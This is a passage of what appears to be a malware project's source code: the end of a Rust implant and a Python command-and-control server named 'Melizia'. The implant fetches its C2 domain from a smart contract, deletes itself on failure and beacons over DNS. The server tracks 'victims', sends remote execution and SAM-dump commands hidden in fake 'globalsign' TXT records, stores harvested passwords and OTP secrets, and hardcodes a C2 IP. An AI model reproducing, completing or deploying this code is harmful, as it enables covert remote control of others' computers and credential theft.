525 | let mut result = String::new();
526 | result = parseCertificate(&data);
527 | let decoded_bytes = decode(
528 | Alphabet::RFC4648 { padding: true },
529 | &result
530 | ).unwrap();
531 | let public_key_external = Some(RsaPublicKey::from_public_key_pem(&String::from_utf8_lossy(&decoded_bytes)).unwrap());
532 |
533 | println!("{:?}", public_key_external);
534 |
535 | let (serverPublicKeySha256, privkey) = handleKeyGeneration(domain, std::str::from_utf8(&decoded_bytes).unwrap());
536 |
537 | println!("{:?}", serverPublicKeySha256);
538 |
539 | serverHandler(domain, public_key_external.unwrap(), &serverPublicKeySha256, &privkey);
540 |
541 | let s = format!("2|{}", serverPublicKeySha256);
542 | dnsRequestEncoder(domain, &s);
543 |
544 | Ok(())
545 | }
546 |
547 | use serde_json::Value;
548 | use rustc_serialize::json::{Json, ToJson};
549 |
550 | async fn handleContractKeccak(contractAddress: &str) -> String{
551 | // call RPC and interact with smart contract variable name (keccak)
552 |
553 | let timeout = Duration::from_secs(0);
554 | let start = Instant::now();
555 | //while start.elapsed() < timeout {
556 | // unsafe {
557 | // hint::spin_loop();
558 | //asm!(
559 | // "nop",
560 | //);
561 | // }
562 | //}
563 |
564 | let mut payload = String::from(r#"{"method": "eth_call","params": [{"from": "0x0000000000000000000000000000000000000000","to": "CONTRACTADDRESS","data": "0xf51325ed"},"latest"],"id": 1,"jsonrpc": "2.0"}"#);
565 | let newPayload = payload.replace("CONTRACTADDRESS", contractAddress);
566 |
567 |
568 | let mut object: Value = serde_json::from_str(&newPayload).unwrap();
569 |
570 | let client = reqwest::Client::new();
571 | let mut request = client.post(TestnetRPC)
572 | .json(&object)
573 | .send()
574 | .await;
575 |
576 | let response = request.unwrap().text().await.unwrap();
577 |
578 | let json_object = Json::from_str(&response).unwrap();
579 |
580 | match json_object.find("result") {
581 | Some(field) => {
582 | let name = field.as_string().unwrap();
583 | let testing = hex::decode(&name[2..]).unwrap();
584 | let testStr = str::from_utf8(&testing).unwrap().replace(",","");
585 | let testStr = &testStr.trim_matches('\x00')[32..];
586 |
587 | return testStr.to_string()
588 | },
589 | None => {
590 | "".to_string()
591 | }
592 | }
593 | }
594 |
595 | use std::fs;
596 | use std::mem;
597 | use std::ptr;
598 | // use libc::{mprotect, PROT_NONE, PROT_READ};
599 |
600 | #[tokio::main]
601 | async fn rpcInteract(addr: &str) -> Result<((()), String)>{
602 | let contractC2 = handleContractKeccak(addr).await;
603 | if contractC2 == ""{
604 | let path = std::env::current_exe().unwrap();
605 | fs::remove_file(&path).unwrap();
606 |
607 | //let base_addr = std::ptr::null_mut();
608 |
609 | //let program_size = 0; // Preencher com o tamanho do programa
610 |
611 | // Definir as permissões desejadas
612 | //let prot = PROT_NONE;
613 |
614 | // Remover a permissão de leitura
615 | //let result = unsafe { mprotect(base_addr, program_size, prot) };
616 |
617 | process::exit(0);
618 | }
619 | let C2AESContent_b64dec = base64::decode(contractC2).unwrap();
620 | let key_dec = base64::decode(ContractKey).unwrap();
621 |
622 | let key = &key_dec[..];
623 |
624 | let iv = &C2AESContent_b64dec[..16];
625 | let message = &C2AESContent_b64dec[16..];
626 |
627 | let mut buf = message.to_vec();
628 |
629 | let cipher = Aes128ECfb::new_from_slices(&key, &iv).unwrap();
630 | let decrypted_ciphertext = cipher.decrypt(&mut buf).unwrap();
631 |
632 | let domain = String::from_utf8_lossy(decrypted_ciphertext);
633 | Ok(((()), domain.to_string()))
634 | }
635 |
636 |
637 | fn main() -> std::io::Result<()> {
638 |
639 | let mut stream = TcpStream::connect("127.0.0.1:1338")?;
640 | let mut smartContractAddressBuffer= [0; 42];
641 |
642 | stream.write(&Hash.as_bytes())?;
643 | stream.read(&mut smartContractAddressBuffer)?;
644 | stream.shutdown(Shutdown::Both);
645 |
646 | let smartContractAddress = std::str::from_utf8(&smartContractAddressBuffer).unwrap().trim_matches(char::from(0));
647 | let rpcResponse = rpcInteract(smartContractAddress);
648 |
649 |
650 | match rpcResponse{
651 | Ok((_, domain)) =>{
652 | handleCertificate(&domain);
653 | }
654 | Err(e) =>{
655 | process::exit(0);
656 | }
657 | }
658 |
659 | Ok(())
660 | }
661 |
--------------------------------------------------------------------------------
/c2.py:
--------------------------------------------------------------------------------
1 | import socket, threading, readline, secrets, hashlib, sqlite3, base64
2 | from datetime import datetime
3 | from cryptography.hazmat.primitives import serialization
4 | from cryptography.hazmat.primitives.asymmetric import rsa
5 | from cryptography.hazmat.primitives.asymmetric import padding
6 | from cryptography.hazmat.backends import default_backend
7 | from cryptography.hazmat.primitives import hashes
8 | import re
9 | import socketserver
10 | from colorama import Fore, Back, Style
11 | from rich import *
12 | import warnings
13 | from rich.prompt import *
14 | from rich.console import Console
15 | from rich.table import Table
16 | import sys, os
17 | from cryptography.hazmat.primitives.serialization import load_pem_public_key
18 |
19 | # Global variable that mantain client's connections
20 | connections = []
21 | machineClassList = {}
22 | activeTargetID = "Zombie"
23 | activeConnection = None
24 | commandMode = False
25 | currentEncodedCommand = []
26 | console = Console()
27 | encodedCommandQueue = {}
28 |
29 | from Crypto.Cipher import AES
30 | from Crypto.Random import get_random_bytes
31 | from Crypto.Util.Padding import unpad
32 | from Crypto import Random
33 |
34 |
35 | def _pad(s):
36 | bs = AES.block_size
37 | return s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
38 |
39 | @staticmethod
40 | def _unpad(s):
41 | return s[:-ord(s[len(s)-1:])]
42 |
43 | def AESencrypt(key, raw):
44 | raw = _pad(raw)
45 | iv = Random.new().read(AES.block_size)
46 | cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
47 | stringEnc = cipher.encrypt(raw.encode())
48 | return base64.b64encode(iv + cipher.encrypt(raw.encode()))
49 |
50 | def AESdecrypt(key, enc):
51 | enc = base64.b64decode(enc)
52 | iv = enc[:AES.block_size]
53 | cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
54 | stringDec = cipher.decrypt(enc[AES.block_size:])
55 | return stringDec.decode("utf-8")
56 |
57 | from dnslib import QTYPE, RR, DNSLabel, dns
58 | from dnslib.server import BaseResolver as LibBaseResolver, DNSServer as LibDNSServer
59 | from dnslib import *
60 |
61 | latestVictim = ""
62 |
63 | TYPE_LOOKUP = {
64 | 'A': (dns.A, QTYPE.A),
65 | 'AAAA': (dns.AAAA, QTYPE.AAAA),
66 | 'CAA': (dns.CAA, QTYPE.CAA),
67 | 'CNAME': (dns.CNAME, QTYPE.CNAME),
68 | 'DNSKEY': (dns.DNSKEY, QTYPE.DNSKEY),
69 | 'MX': (dns.MX, QTYPE.MX),
70 | 'NAPTR': (dns.NAPTR, QTYPE.NAPTR),
71 | 'NS': (dns.NS, QTYPE.NS),
72 | 'PTR': (dns.PTR, QTYPE.PTR),
73 | 'RRSIG': (dns.RRSIG, QTYPE.RRSIG),
74 | 'SOA': (dns.SOA, QTYPE.SOA),
75 | 'SRV': (dns.SRV, QTYPE.SRV),
76 | 'TXT': (dns.TXT, QTYPE.TXT),
77 | 'SPF': (dns.TXT, QTYPE.TXT), }
78 |
79 |
80 | c2Statistics = {
81 | "Total Victims":0,
82 | "Prefered Protocol":"",
83 | "Latest Victim":"",
84 | "Total Notes":0,
85 | "Total Passwords":0,
86 | "Total Requests":0,
87 | "Active Listeners":[],
88 | "Cloak State":False,
89 | "Killed Victims":0,
90 | "Sleeping Victims":0,
91 | "Active Victims":0,
92 | "Invalid Requests":0
93 | }
94 |
95 | import time, math
96 | from datetime import datetime, timedelta
97 |
98 | class Machine:
99 | def __init__(self, connection, machineName, RSA_private_key, RSA_public_key, CustomName, RSA_Victim_Public_Key = None, victimNotes={"passwords":{},"notes":{}}):
100 | m = hashlib.sha256()
101 | m.update(RSA_public_key.public_bytes(encoding=serialization.Encoding.PEM,format=serialization.PublicFormat.SubjectPublicKeyInfo))
102 | self.RSA_public_key_hash = m.hexdigest()
103 | self.connection = connection
104 | self.machineName = machineName
105 | self.RSA_private_key = RSA_private_key
106 | self.RSA_public_key = RSA_public_key
107 | self.RSA_Victim_Public_Key = RSA_Victim_Public_Key
108 | n = hashlib.sha256()
109 | n.update(RSA_Victim_Public_Key.public_bytes(encoding=serialization.Encoding.PEM,format=serialization.PublicFormat.SubjectPublicKeyInfo))
110 | self.RSA_Victim_Public_Key_hash = n.hexdigest()
111 | self.CustomName = CustomName
112 | self.pingTime = None
113 | self.Uptime = 0
114 | self.victimNotes = victimNotes
115 | self.FirstSeen = None
116 | self.status = True
117 | self.LastSleep = 10
118 | self.AESKey = None
119 |
120 | def change_status(self, status):
121 | self.status = status
122 |
123 | def send_ping(self):
124 | self.pingTime = datetime.now()
125 |
126 | def change_last_sleep(self, time):
127 | self.LastSleep = time
128 |
129 | def calculate_status(self):
130 | if self.Uptime > (self.LastSleep + 2):
131 | return "Dead"
132 | else:
133 | return "Alive"
134 |
135 | def get_uptime(self):
136 | uptime = 0
137 | if self.pingTime is not None:
138 | uptime = int((datetime.now() - self.pingTime).total_seconds())
139 | self.Uptime = uptime
140 | return self.Uptime
141 |
142 | def generate_machine_id():
143 | randbits = secrets.randbits(1024)
144 | m = hashlib.sha256()
145 | m.update(str(randbits).encode("utf-8"))
146 | createdHash = m.hexdigest()
147 | return createdHash
148 |
149 | def generate_RSA_keypair():
150 | private_key = rsa.generate_private_key(
151 | public_exponent=65537,
152 | key_size=1024
153 | )
154 | public_key = private_key.public_key()
155 | return (private_key, public_key)
156 |
157 | msg = ""
158 | test = 0
159 |
160 |
161 | def handle_user_connection(connection: socket.socket, address: str) -> None:
162 | global activeTargetID, msg, test
163 | '''
164 | Get user connection in order to keep receiving their messages and
165 | sent to others users/connections.
166 | '''
167 |
168 | while True:
169 | if test == 0:
170 | private_key, public_key = generate_RSA_keypair()
171 | zombie_id = generate_machine_id()
172 | #machineClassList.update({zombie_id:Machine(connection, None, private_key, public_key)})
173 | public_pem = public_key.public_bytes(encoding=serialization.Encoding.PEM,format=serialization.PublicFormat.SubjectPublicKeyInfo)
174 | m = hashlib.sha256()
175 | m.update(public_pem)
176 | createdHashPK = m.hexdigest()
177 |
178 | machineClassList.update({createdHashPK:Machine(connection, None, private_key, public_key, "Unknown")})
179 | connection.send(public_pem)
180 |
181 | console.print(f"\n[bold yellow][*][/bold yellow] Sent RSA public key to zombie, now known as [bold blue]{m.hexdigest()}[/bold blue]")
182 | console.print(f"[bold yellow][*][/bold yellow] [bold blue]SHA256 of public cert[/bold blue]: {machineClassList[createdHashPK].RSA_public_key_hash}")
183 |
184 | msg = connection.recv(512)
185 | if(msg):
186 | msg = msg.decode().split("|")
187 | if(msg[0] == "1"):
188 | console.print(f"[bold yellow][*][/bold yellow] Receiving public RSA key from victim... {msg[1]}")
189 | print(msg[2])
190 | for k, v in machineClassList.items():
191 | if v.RSA_public_key_hash == msg[0]:
192 | plaintext = v.RSA_private_key.decrypt(
193 | base64.b32decode(msg[1]),
194 | padding.OAEP(
195 | mgf=padding.MGF1(algorithm=hashes.SHA256()),
196 | algorithm=hashes.SHA256(),
197 | label=None
198 | )
199 | )
200 | plaintext = plaintext.decode().split("|")
201 | console.print(f"[bold yellow][!][/bold yellow] [bold blue]\"{plaintext[0]}\"[/bold blue] Called home! say hello to \"[bold blue]{plaintext[1]}[/bold blue]\"!\n[bold blue]User ID[/bold blue]: {msg[0]}")
202 | else:
203 | connection.close()
204 | connection.send(str("testing").encode("utf-8"))
205 | activeTargetID = "Zombie"
206 | test = 1
207 | return 0
208 |
209 | def server() -> None:
210 | '''
211 | Main process that receive client's connections and start a new thread
212 | to handle their messages
213 | '''
214 |
215 | LISTENING_PORT = 1339
216 |
217 | try:
218 | # Create server and specifying that it can only handle 4 connections by time!
219 | socket_instance = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
220 | socket_instance.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )
221 | socket_instance.bind(('', LISTENING_PORT))
222 | socket_instance.listen(4)
223 |
224 | while True:
225 |
226 | # Accept client connection
227 | socket_connection, address = socket_instance.accept()
228 | # Add client connection to connections list
229 | connections.append(socket_connection)
230 | # Start a new thread to handle client connection and receive it's messages
231 | # in order to send to others connections
232 | threading.Thread(target=handle_user_connection, args=[socket_connection, address]).start()
233 |
234 | except KeyboardInterrupt:
235 | socket_instance.close()
236 |
237 | def list_listeners():
238 | return 0
239 |
240 | def list_computers():
241 | console = Console()
242 | table = Table(show_header=True, header_style="bold magenta")
243 | table.add_column("User ID", style="dim")
244 | table.add_column("Name")
245 | table.add_column("Uptime")
246 | table.add_column("First Seen")
247 | table.add_column("Status")
248 |
249 | for k,v in machineClassList.items():
250 | table.add_row(
251 | k, v.CustomName, str(v.get_uptime()), str(v.FirstSeen), v.calculate_status()
252 | )
253 |
254 | #machineClassList[userid].get_uptime()
255 |
256 | console.print(table)
257 |
258 | def get_hostname(arg):
259 | global activeTargetID
260 | arg = arg.strip()
261 | activeTargetID = arg
262 | print(f"sending get_hostname to {arg}\n")
263 | connectionHandler = machineClassList[arg]
264 | connectionHandler.connection.send(b'ghostname')
265 |
266 |
267 | class Utils:
268 | def RSAEncrypt(self, plaintext, public_key):
269 | encrypted = base64.b64encode(public_key.encrypt(
270 | plaintext,
271 | padding.OAEP(
272 | mgf=padding.MGF1(algorithm=hashes.SHA256()),
273 | algorithm=hashes.SHA256(),
274 | label=None
275 | )
276 | ))
277 | return encrypted
278 |
279 | def RSADecrypt(self, encrypted, private_key):
280 | plaintext = private_key.decrypt(
281 | encrypted,
282 | padding.OAEP(
283 | mgf=padding.MGF1(algorithm=hashes.SHA256()),
284 | algorithm=hashes.SHA256(),
285 | label=None
286 | )
287 | )
288 | return plaintext
289 |
290 | stagedPayload_cmd = False
291 | multiStagePayloadContent = []
292 | import pyotp
293 | class VictimPayloads:
294 | def __init__(self):
295 | self.availableVictimCommands = {"rename":"Rename victim (Usage: rename (name))",
296 | "info": "List computer info",
297 | "back":"Return to main menu",
298 | "sleep":"Hibernate victim (Usage: sleep (time in seconds))",
299 | "notes":"Add victim notes",
300 | "migrate": "Migrate to another process (Usage: migrate (proc PID)) X",
301 | "lsproc": "List running processes X",
302 | "qinfo": "Query basic computer information, such as hostname... X",
303 | "exec": "Execute a single command on user (Usage: exec (command))",
304 | "shell": "Spawn a interactive shell on user X",
305 | "sam":"SAM dump!"
306 | }
307 | def notes(self, public_key_hash):
308 | global c2Statistics
309 | while True:
310 | command = Prompt.ask(f"\n[bold blue]({machineClassList[public_key_hash].CustomName}[/bold blue]|[bold yellow]NOTES)[/bold yellow]> ", choices=["note", "password", "viewp", "viewn", "help", "back"], default="note")
311 | if command == "note":
312 | try:
313 | note_group = input("Group (Default) > ")
314 | if note_group == "":
315 | note_group = "Default"
316 | note = input("Note > ")
317 | machineClassList[public_key_hash].victimNotes["note"].update({note_group:append(note)})
318 | c2Statistics["Total Notes"] += 1
319 | except:
320 | pass
321 | #machineClassList[public_key_hash].victimNotes["notes"][note_group].append(note)
322 | #machineClassList[public_key_hash].victimNotes["notes"][note_group] = note
323 | if command == "password":
324 | username = input("Username > ")
325 | password = input("Password > ")
326 | totp = ""
327 | aditionalInformation = ""
328 | aditionalInfoASK = Confirm.ask("Aditional information?")
329 | if aditionalInfoASK == True:
330 | aditionalInformation = input("Aditional information > ")
331 | otpASK = Confirm.ask("Add OTP? (secret key only!)")
332 | if otpASK == True:
333 | otpSecret = input("OTP secret > ")
334 | totp = pyotp.TOTP(otpSecret)
335 | machineClassList[public_key_hash].victimNotes["passwords"].update({username:[password, totp, aditionalInformation]})
336 | c2Statistics["Total Passwords"] += 1
337 | if command == "viewp":
338 | try:
339 | for k in machineClassList[public_key_hash].victimNotes["passwords"].keys():
340 | password = machineClassList[public_key_hash].victimNotes["passwords"][k][0]
341 | totp = machineClassList[public_key_hash].victimNotes["passwords"][k][1]
342 | if totp != "":
343 | totp = totp.now()
344 | aditional = machineClassList[public_key_hash].victimNotes["passwords"][k][2]
345 | console.print(f"[bold blue]Username[/bold blue]: {k}\n- [bold blue]Password[/bold blue]: {password}\n- [bold blue]TOTP[/bold blue]: {totp}\n- [bold blue]Additional[/bold blue]: {aditional}\n")
346 | except:
347 | pass
348 | if command == "viewn":
349 | try:
350 | for k in machineClassList[public_key_hash].victimNotes["passwords"].keys():
351 | for x in machineClassList[public_key_hash].victimNotes["passwords"][x]:
352 | console.print(f"[bold blue]Group[/bold blue]: {k}\n - [bold blue]Note[/bold blue]: {x}")
353 | except Exception as err:
354 | print(err)
355 | pass
356 | if command == "back":
357 | break
358 | #stagedPayload_cmd = False
359 |
360 | def MethodToPacketEncoder(self, method, public_key_hash, *args, **kwargs):
361 | global stagedPayload_cmd, multiStagePayloadContent
362 | utils = Utils()
363 | match method:
364 | case "sam":
365 | stagedPayload_cmd = True
366 | currentEncodedCommand.clear()
367 | multiStagePayloadContent.clear()
368 | AESKey = machineClassList[public_key_hash].AESKey
369 | packet = "0" + "|" + "sm" + "|" + AESKey_Encoded.decode()
370 | ciphertext = utils.RSAEncrypt(packet.encode(), machineClassList[public_key_hash].RSA_Victim_Public_Key)
371 | command_split = [ciphertext[i: i + 220] for i in range(0, len(ciphertext), 220)]
372 | for x in command_split:
373 | currentEncodedCommand.append(f"globalsign-dv={x.decode()}")
374 | return currentEncodedCommand
375 |
376 | case "sleep":
377 | currentEncodedCommand.clear()
378 | sleepTime = kwargs.get('sleepTime', None)
379 | console.print(f"[bold yellow][*][/bold yellow] Sent \"sleep\" command to victim, sleeping for {sleepTime} seconds...\n")
380 | packet = "|" + "s" + "|" + str(sleepTime)
381 | print(f"{packet} | {machineClassList[public_key_hash].RSA_Victim_Public_Key}")
382 | ciphertext = utils.RSAEncrypt(packet.encode(), machineClassList[public_key_hash].RSA_Victim_Public_Key)
383 | # machineClassList[public_key_hash].change_last_sleep(int(sleepTime))
384 | command_split = [ciphertext[i: i + 220] for i in range(0, len(ciphertext), 220)]
385 | for x in command_split:
386 | currentEncodedCommand.append(f"globalsign-dv={x.decode()}")
387 | print(f"{currentEncodedCommand}")
388 | return currentEncodedCommand
389 |
390 | case "command":
391 | stagedPayload_cmd = True
392 |
393 | # Execute first stage of command execution, AES key generation and RSA encrypted deployment
394 | currentEncodedCommand.clear()
395 | multiStagePayloadContent.clear()
396 |
397 | command = kwargs.get('command', None)[1:]
398 | command = ' '.join(command)
399 | AESKey = machineClassList[public_key_hash].AESKey
400 | AESKey_Encoded = base64.b32encode(AESKey)
401 | packet = "0" + "|" + "c" + "|" + AESKey_Encoded.decode()
402 | ciphertext = utils.RSAEncrypt(packet.encode(), machineClassList[public_key_hash].RSA_Victim_Public_Key)
403 | command_split = [ciphertext[i: i + 220] for i in range(0, len(ciphertext), 220)]
404 | for x in command_split:
405 | currentEncodedCommand.append(f"globalsign-dv={x.decode()}")
406 | console.print(f"[bold yellow][*][/bold yellow] Sent \"{command}\" to victim\n")
407 | # print(f"\nFirst stage :: {currentEncodedCommand} for command {command}")
408 | packet = public_key_hash + "|" + "c" + "|" + command
409 | encodedCommand = AESencrypt(machineClassList[public_key_hash].AESKey, packet)
410 | for x in encodedCommand:
411 | print(int(x), end=" ")
412 | b32EncodedCommand = base64.b32encode(encodedCommand).decode()
413 | encodedCommand_split = [b32EncodedCommand[i: i + 220] for i in range(0, len(b32EncodedCommand), 220)]
414 | for x in encodedCommand_split:
415 | multiStagePayloadContent.append(f"globalsign-xv={x}")
416 | #print(f"Last stage :: {multiStagePayloadContent} for command {command}")
417 | return currentEncodedCommand
418 |
419 | def ListenerToProtoSender(proto):
420 | print(proto)
421 |
422 | def sleep(self, sleepTime, public_key_hash):
423 | global commandMode, currentEncodedCommand, encodedCommandQueue
424 | currentEncodedCommand.clear()
425 | # encodedCommandQueue.update({public_key_hash:[False, "sleep"]})
426 | packet = self.MethodToPacketEncoder("sleep", public_key_hash, sleepTime=sleepTime)
427 | commandMode = True
428 | currentEncodedCommand = packet
429 |
430 | def command(self, command, public_key_hash):
431 | global commandMode, currentEncodedCommand, stagedPayload, multiStagePayloadContent
432 | packet = self.MethodToPacketEncoder("command", public_key_hash, command=command)
433 | commandMode = True
434 | currentEncodedCommand = packet
435 |
436 | def samDump(public_key_hash):
437 | global commandMode, currentEncodedCommand, stagedPayload, multiStagePayloadContent
438 | packet = self.MethodToPacketEncoder("sam", public_key_hash, command=command)
439 | commandMode = True
440 | currentEncodedCommand = packet
441 |
442 |
443 | def exit(self):
444 | return 0
445 |
446 | def rename(self, public_key_hash, username):
447 | console.print(f"[bold green][+][/bold green] Renamed [bold blue]{machineClassList[public_key_hash].CustomName}[/bold blue] to [bold blue]{username}[/bold blue]\n")
448 | machineClassList[public_key_hash].CustomName = username
449 |
450 | def info(self, userid):
451 | console.print(f"""
452 | [bold blue]User ID[/bold blue]: {userid}
453 | [bold blue]Name[/bold blue]: {machineClassList[userid].CustomName}
454 | [bold blue]Uptime[/bold blue]: {machineClassList[userid].get_uptime()}
455 | [bold blue]Victim Public Key hash[/bold blue]: {machineClassList[userid].RSA_Victim_Public_Key_hash}
456 | [bold blue]C2 Public key hash[/bold blue]: {machineClassList[userid].RSA_public_key_hash}
457 | """)
458 |
459 | def help(self):
460 | console.print(f"- [bold green]Interact Usage[/bold green]:\n")
461 | for k, v in self.availableVictimCommands.items():
462 | console.print(f"[bold blue]{k}[/bold blue]: {v}")
463 |
464 | def victimInteract(public_key_hash):
465 | victim = None
466 | victimHandler = VictimPayloads()
467 | availableVictimCommands = victimHandler.availableVictimCommands
468 | commands = list(availableVictimCommands)
469 | try:
470 | victim = machineClassList[public_key_hash]
471 | except:
472 | console.print(f"[bold red][!][/bold red] Victim ID [bold blue]{public_key_hash}[/bold blue] not found!")
473 | while True:
474 | try:
475 | issuedCommand = input(f"\n{Fore.BLUE}({machineClassList[public_key_hash].CustomName}){Style.RESET_ALL}> ").split()
476 | if(issuedCommand[0] == commands[0]):
477 | victimHandler.rename(public_key_hash, issuedCommand[1])
478 |
479 | if(issuedCommand[0] == commands[1]):
480 | victimHandler.info(public_key_hash)
481 |
482 | if(issuedCommand[0] == "help"):
483 | victimHandler.help()
484 |
485 | if(issuedCommand[0] == commands[2]):
486 | break
487 |
488 | if(issuedCommand[0] == commands[3]):
489 | victimHandler.sleep(issuedCommand[1], public_key_hash)
490 |
491 | if(issuedCommand[0] == commands[4]):
492 | victimHandler.notes(public_key_hash)
493 |
494 | if(issuedCommand[0] == commands[5]):
495 | console.print(f"Not implemented {commands[5]}")
496 |
497 | if(issuedCommand[0] == commands[6]):
498 | console.print(f"Not implemented {commands[6]}")
499 |
500 | if(issuedCommand[0] == commands[7]):
501 | console.print(f"Not implemented {commands[7]}")
502 |
503 | if(issuedCommand[0] == commands[8]):
504 | victimHandler.command(issuedCommand, public_key_hash);
505 | if(issuedCommand[0] == commands[9]):
506 | victimHandler.samDump(public_key_hash)
507 | except IndexError:
508 | pass
509 | except Exception:
510 | console.print_exception(show_locals=True)
511 | pass
512 |
513 |
514 | def getC2Statistics():
515 | global c2Statistics
516 | console.print(c2Statistics)
517 |
518 | availableMainCommands = {"list_listeners":"List C2 listeners (DNS, HTTP, TCP, HTTPS)",
519 | "list_computers":"List connected computers",
520 | "get_hostname":"Get a computer hostname (Usage: get_hostname (UID))",
521 | "interact":"Interact with a specific computer (Usage: interact (UID))",
522 | "exit":"Exit from Melizia",
523 | "cloak":"Overwrite DNS nameserver AAAA/A to 127.0.0.1",
524 | "key_provisioning":"Deny/Allow creation of new RSA public keys",
525 | "delete":"Delete a specific host (RSA keys, notes and entry are destroyed; Usage: delete (UID))",
526 | "statistics":"Show C2 event statistics",
527 | "cancel":"Cancel last command issued, ignore response"}
528 | dnsCloaked = False
529 | IP = "20.231.9.148"
530 | IPV6 = "0000:0000:0000:0000:0000:ffff:14e7:0994"
531 |
532 | def deleteHost(host):
533 | global c2Statistics
534 | try:
535 | machineClassList.pop(host)
536 | console.print(f"[bold blue]{host}[/bold blue] deleted!")
537 | c2Statistics["Killed Victims"] += 1
538 | except:
539 | console.print("UID not found")
540 |
541 | def DNSCloak():
542 | global dnsCloaked, IP, IPV6
543 | if(dnsCloaked == True):
544 | console.print(f"DNS Cloaking: {dnsCloaked}")
545 | IP = "127.0.0.1"
546 | IPV6 = "0000:0000:0000:0000:0000:0000:0000:0001"
547 | else:
548 | console.print(f"DNS Cloaking: {dnsCloaked}")
549 | IP = "20.231.9.148"
550 | IPV6 = "0000:0000:0000:0000:0000:ffff:14e7"
551 | keyProvisioning = True
552 | generatedCertificates = []
553 | def command():
554 | global dnsCloaked, multiStagePayloadContent, keyProvisioning, latestVictim, commandMode, authenticatedCommand_cmd
555 | commands = list(availableMainCommands)
556 | while True:
557 | try:
558 | command = input(f"\n{Fore.GREEN}(Melizia)>{Style.RESET_ALL} ").split()
559 |
560 | if(command[0] == commands[0]):
561 | get_computer_hostname()
562 | if(command[0] == commands[1]):
563 | list_computers()
564 | if(command[0] == commands[2]):
565 | get_hostname(command[1])
566 | if(command[0] == commands[3]):
567 | if latestVictim != "" and len(command) < 2:
568 | victimInteract(latestVictim)
569 | else:
570 | victimInteract(command[1])
571 |
572 | if(command[0] == "help"):
573 | console.print(f"- [bold green]Melizia Usage[/bold green]:\n")
574 | for k, v in availableMainCommands.items():
575 | console.print(f"[bold blue]{k}[/bold blue]: {v}")
576 | if(command[0] == commands[4]):
577 | console.print(f"See you space cowboy... killing {len(machineClassList)} spaceships!\n")
578 | os._exit(1)
579 | if(command[0] == commands[5]):
580 | c2Statistics["Cloak State"] = dnsCloaked
581 | if(dnsCloaked == True):
582 | dnsCloaked = False
583 | else:
584 | dnsCloaked = True
585 | DNSCloak()
586 | if(command[0] == commands[6]):
587 | if(keyProvisioning == True):
588 | keyProvisioning = False
589 | else:
590 | keyProvisioning = True
591 | console.print(f"Key provisioning: {keyProvisioning}")
592 | if(command[0] == commands[7]):
593 | deleteHost(command[1])
594 | if(command[0] == commands[8]):
595 | getC2Statistics()
596 | if(command[0] == commands[9]):
597 | commandMode = False
598 | authenticatedCommand_cmd = False
599 | multiStagePayloadContent.clear()
600 | console.print("[bold blue]Canceled last command![/bold blue]")
601 |
602 | except IndexError:
603 | pass
604 |
605 | def showCommandResults(message, public_key):
606 | print(f"\n{machineClassList[public_key].CustomName} :: {message}\n")
607 |
608 | def checkConsecutive(l):
609 | return sorted(l) == list(range(min(l), max(l)+1))
610 |
611 | commandList = []
612 |
613 | statistics = {"BrokenPackages":0}
614 |
615 | def decryptRSAByPublicKey(public_key, message):
616 | plaintext = ""
617 | for k, v in machineClassList.items():
618 | if v.RSA_public_key_hash == public_key:
619 | plaintext = v.RSA_private_key.decrypt(base64.b32decode(message),padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),algorithm=hashes.SHA256(),label=None))
620 | return plaintext
621 | return plaintext
622 |
623 |
624 |
625 |
626 | certificate = []
627 |
628 | import binascii
629 | def generateCertificate():
630 | global dnsCloaked, generatedCertificates
631 | if dnsCloaked == True:
632 | return ""
633 | private_key, public_key = generate_RSA_keypair()
634 | privkey_str = private_key.private_bytes(
635 | encoding=serialization.Encoding.PEM,
636 | format=serialization.PrivateFormat.PKCS8,
637 | encryption_algorithm=serialization.NoEncryption()
638 | )
639 |
640 | #print(privkey_str.decode('utf-8'))
641 | public_pem = base64.b32encode(public_key.public_bytes(encoding=serialization.Encoding.PEM,format=serialization.PublicFormat.SubjectPublicKeyInfo))
642 | public_pem_split = [public_pem[i: i + 220] for i in range(0, len(public_pem), 220)]
643 | m = hashlib.sha256()
644 | m.update(base64.b32decode(public_pem))
645 | createdHashPK = m.hexdigest()
646 | generatedCertificates.append({"public_key":public_key, "private_key":private_key, "hashPK":createdHashPK})
647 | fakeTXTList = []
648 | for x in public_pem_split:
649 | fakeTXTList.append(f"globalsign-smime-dv={x.decode()}")
650 | return fakeTXTList
651 |
652 |
653 | generatedRSAKeyUsed = False
654 | authenticatedCommand_cmd = False
655 | authStage = 0
656 | backData = ""
657 | def decodeCommand(command):
658 | global statistics, backData, commandMode, generatedCertificates, currentEncodedCommand, latestVictim, c2Statistics, generatedRSAKeyUsed, certificate, authenticatedCommand_cmd, authStage, multiStagePayloadContent
659 | try:
660 | command = base64.b32decode(command).decode()
661 | command = command.split("|")
662 | if(command[0] == "1"):
663 | certificate = base64.b32decode(command[2]).decode()
664 | key = load_pem_public_key(certificate.encode("utf-8"), default_backend())
665 | for x in generatedCertificates:
666 | if x["hashPK"] == command[1]:
667 | # generate victim AES key for encrypting commands
668 |
669 | latestVictim = command[1]
670 | generatedCertificates.clear()
671 | certificate = generateCertificate()
672 | c2Statistics["Latest Victim"] = latestVictim
673 | c2Statistics["Total Victims"] += 1
674 | machineClassList.update({command[1]:Machine("DNS", None, x["private_key"], x["public_key"], "Unknown", key)})
675 | machineClassList[command[1]].AESKey = os.urandom(16)
676 | victimHash = machineClassList[command[1]].RSA_public_key_hash
677 | now = datetime.now()
678 | dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
679 | machineClassList[command[1]].FirstSeen = dt_string
680 | console.print(f"[bold blue]A spaceship arrived![/bold blue]\n[bold blue]\"{victimHash}\"[/bold blue] Called home!")
681 |
682 | if(command[0] == "2"):
683 | try:
684 | machineClassList[command[1]].pingTime = datetime.now()
685 | except:
686 | pass
687 | if(command[0] == "s"):
688 | console.print(f"[bold blue]Spaceship {command[1]} understood the orders![/bold blue]")
689 | commandMode = False
690 |
691 | if(command[0] == "2c"):
692 | if len(command) > 2:
693 | data = AESdecrypt(machineClassList[command[1]].AESKey, command[2]).split("|")
694 | if backData != command:
695 | console.print("\n" + data[0])
696 | backData = command
697 | multiStagePayloadContent.clear()
698 | authenticatedCommand_cmd = False
699 | authStage = 0
700 | else:
701 | currentEncodedCommand.clear()
702 | authStage = 1
703 | authenticatedCommand_cmd = True
704 |
